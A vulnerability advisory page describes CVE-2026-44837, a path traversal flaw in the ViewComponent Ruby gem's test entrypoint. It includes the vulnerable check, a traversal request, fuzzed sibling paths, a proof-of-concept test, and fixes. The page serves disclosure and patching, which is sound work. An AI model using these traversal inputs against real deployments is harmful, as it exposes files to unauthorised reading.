Skip to main content

ViewComponent CVE-2026-44837

| EUVDEUVD-2026-31971 HIGH
Path Traversal (CWE-22)
2026-05-08 https://github.com/ViewComponent/view_component GHSA-hg3h-g7xc-f7vp
7.5
CVSS 3.1 · NVD
Share

Severity by source

NVD PRIMARY
7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
vuln.today AI
5.9 MEDIUM

Network-reachable no-auth file read (PR:N/UI:N), but AC:H because it needs the non-default condition of a reachable test-mode route; confidentiality-only, so I:N/A:N.

3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

8
Analysis Updated
Jul 23, 2026 - 11:49 vuln.today
v3 (cvss_changed)
Analysis Updated
Jul 23, 2026 - 11:48 vuln.today
v2 (cvss_changed)
Re-analysis Queued
Jul 23, 2026 - 11:22 vuln.today
cvss_changed
Severity Changed
Jul 23, 2026 - 11:22 NVD
MEDIUM HIGH
CVSS changed
Jul 23, 2026 - 11:22 NVD
5.9 (MEDIUM) 7.5 (HIGH)
Source Code Evidence Fetched
May 09, 2026 - 00:00 vuln.today
Analysis Generated
May 09, 2026 - 00:00 vuln.today
CVE Published
May 08, 2026 - 23:33 nvd
MEDIUM 5.9

DescriptionNVD

Summary

The system test entrypoint canonicalizes a user-controlled file path with File.realpath, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix.

Severity: Medium; test-route scoped.

Example:

text
Allowed base:  /app/tmp/view_components
Outside path:  /app/tmp/view_components_evil/secret.html.erb

The outside path is not inside the base directory, but it passes:

ruby
@path.start_with?(base_path)

Relevant Code

app/controllers/view_components_system_test_controller.rb:

ruby
base_path = ::File.realpath(self.class.temp_dir)
@path = ::File.realpath(params.permit(:file)[:file], base_path)
raise ViewComponent::SystemTestControllerNefariousPathError unless @path.start_with?(base_path)

The route then renders the resolved file:

ruby
render file: @path

Exploit Flow

Example request:

text
GET /_system_test_entrypoint?file=../view_components_evil/secret.html.erb

Flow:

  1. base_path resolves to .../tmp/view_components.
  2. The payload resolves to .../tmp/view_components_evil/secret.html.erb.
  3. That path is outside the intended temp directory.
  4. The string prefix check still passes.
  5. Rails renders the sibling file.

The route is mounted only in Rails.env.test?, which is why Medium is more appropriate than P1. The issue matters if test routes are reachable in shared CI, staging, review apps, or any accidentally exposed test-mode deployment.

Targeted Fuzz Result

The following sibling paths passed an equivalent realpath plus start_with? harness while resolving outside the base directory:

text
../view_components_evil/secret.html
../view_components2/poc.html
../view_components.bak/poc.html
../view_components-old/poc.html
../view_componentsx/poc.html

PoC Test

Create test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb:

ruby
# frozen_string_literal: true

require "test_helper"
require "fileutils"

class SystemTestEntrypointPathTraversalPocTest < ActionDispatch::IntegrationTest
  def test_system_test_entrypoint_allows_sibling_directory_with_same_prefix
    base_dir = File.realpath(ViewComponentsSystemTestController.temp_dir)
    parent_dir = File.dirname(base_dir)
    sibling_dir = File.join(parent_dir, "#{File.basename(base_dir)}_evil")
    outside_file = File.join(sibling_dir, "secret.html.erb")

    FileUtils.mkdir_p(sibling_dir)
    File.write(outside_file, "<div>VC_SYSTEM_TEST_TRAVERSAL_POC</div>")

    get "/_system_test_entrypoint", params: {
      file: "../#{File.basename(base_dir)}_evil/secret.html.erb"
    }

    assert_response :success
    assert_includes response.body, "VC_SYSTEM_TEST_TRAVERSAL_POC"
  ensure
    FileUtils.rm_f(outside_file) if defined?(outside_file) && outside_file
    Dir.rmdir(sibling_dir) if defined?(sibling_dir) && sibling_dir && Dir.exist?(sibling_dir)
  end
end

Run:

bash
bundle exec ruby -Itest test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb

Vulnerable behavior: the response succeeds and contains VC_SYSTEM_TEST_TRAVERSAL_POC.

Fixed behavior: the request raises ViewComponent::SystemTestControllerNefariousPathError or otherwise fails without rendering the file.

Suggested Fix

Use path-aware containment instead of a raw string prefix. For example:

ruby
def validate_file_path
  base_path = Pathname.new(::File.realpath(self.class.temp_dir))
  path = Pathname.new(::File.realpath(params.permit(:file)[:file], base_path.to_s))
  relative_path = path.relative_path_from(base_path)

  raise ViewComponent::SystemTestControllerNefariousPathError if relative_path.each_filename.first == ".."

  @path = path.to_s
end

Or require a separator boundary:

ruby
allowed_prefix = "#{base_path}#{File::SEPARATOR}"
unless @path == base_path || @path.start_with?(allowed_prefix)
  raise ViewComponent::SystemTestControllerNefariousPathError
end

Add regression tests for:

  • A normal temp file inside tmp/view_components
  • ../../README.md
  • ../view_components_evil/secret.html.erb
  • A symlink inside the temp directory that resolves outside it

AnalysisAI

Arbitrary file disclosure in the ViewComponent Ruby gem (versions >= 3.0.0, < 4.9.0) lets remote attackers read files outside the intended temp directory via the _system_test_entrypoint route. The controller canonicalizes a user-supplied path with File.realpath but validates containment with a raw String#start_with? prefix check, so a sibling directory sharing the same string prefix (e.g. view_components_evil next to view_components) resolves outside the base yet passes the check and is rendered. A working proof-of-concept test is published in the GHSA advisory; there is no public weaponized exploit and EPSS is 0.01% (1st percentile), and the route ships only in Rails.env.test?, which limits real-world exposure.

Technical ContextAI

The affected component is ViewComponent, a view-layer library for Ruby on Rails that renders reusable component objects. The flaw is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory / path traversal). In app/controllers/view_components_system_test_controller.rb the code resolves both the base temp directory and the user-controlled file parameter with File.realpath, then guards with @path.start_with?(base_path). String prefix comparison is not path-boundary aware: '/app/tmp/view_components' is a string prefix of '/app/tmp/view_components_evil', so any sibling directory whose name begins with the base directory's name (view_components2, view_components.bak, view_components-old, view_componentsx, etc.) satisfies the check while resolving to a different directory. The resolved path is passed to Rails render file:, disclosing the file's contents. The affected package is pkg:rubygems/view_component.

RemediationAI

Vendor-released patch: 4.9.0. Upgrade the view_component gem to 4.9.0 or later, which replaces the string-prefix containment check with a path-boundary-aware check (Pathname#relative_path_from, or requiring a File::SEPARATOR boundary after the base path). Update the Gemfile constraint, run bundle update view_component, then verify against the advisory's regression cases (normal temp file, ../../README.md, ../view_components_evil/secret.html.erb, and an escaping symlink). If you cannot upgrade immediately, ensure the _system_test_entrypoint route is never reachable from untrusted networks: confirm production and internet-facing staging never run with RAILS_ENV=test, and firewall or ACL-restrict access to test-mode instances and shared CI/review-app environments (trade-off: none for production, but requires network controls on CI). As a code-level stopgap, patch the controller to reject paths whose first relative segment is '..' or that do not sit on a separator boundary within temp_dir. See https://github.com/ViewComponent/view_component/security/advisories/GHSA-hg3h-g7xc-f7vp.

Share

CVE-2026-44837 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy